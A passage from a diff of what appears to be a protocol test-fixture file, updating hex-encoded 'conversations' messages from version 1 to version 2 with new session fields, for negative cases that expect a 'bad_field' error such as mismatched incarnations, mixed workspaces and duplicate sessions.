"574d583101010000010000001a0600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d6f74686572222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000570600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d6f74686572222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-wrong-incarnation-in-message", "direction": "down", - "hex": "574d583101010000010000001a0600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d6f74686572222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000570600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d6f74686572222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-mixed-workspace", "direction": "down", - "hex": "574d583101010000010000004b0500007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303032222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f6f74686572222c2273657373696f6e4964223a226261636b656e642d30303032222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031302c22746f6f6c556964223a32303031312c22776f726b7370616365476964223a32353031302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d5d7d", + "hex": "574d583101010000010000005c0500007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a6e756c6c2c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303032222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f6f74686572222c2273657373696f6e4964223a226261636b656e642d30303032222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031302c22746f6f6c556964223a32303031312c22776f726b7370616365476964223a32353031302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d5d7d", "error": "bad_field" }, { "name": "conversations-mixed-lease-epoch", "direction": "down", - "hex": "574d583101010000010000006a0500007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303032222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303032222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a342c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031302c22746f6f6c556964223a32303031312c22776f726b7370616365476964223a32353031302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d5d7d", + "hex": "574d583101010000010000007b0500007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a6e756c6c2c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303032222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303032222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a342c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031302c22746f6f6c556964223a32303031312c22776f726b7370616365476964223a32353031302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d5d7d", "error": "bad_field" }, { "name": "conversations-duplicate-logical-session", "direction": "down", - "hex": "574d583101010000010000006a0500007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303032222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031302c22746f6f6c556964223a32303031312c22776f726b7370616365476964223a32353031302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d5d7d", + "hex": "574d583101010000010000007b0500007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a6e756c6c2c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303032222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031302c22746f6f6c556964223a32303031312c22776f726b7370616365476964223a32353031302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d5d7d", "error": "bad_field" }, { "name": "conversations-duplicate-backend-session", "direction": "down", - "hex": "574d583101010000010000006a0500007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2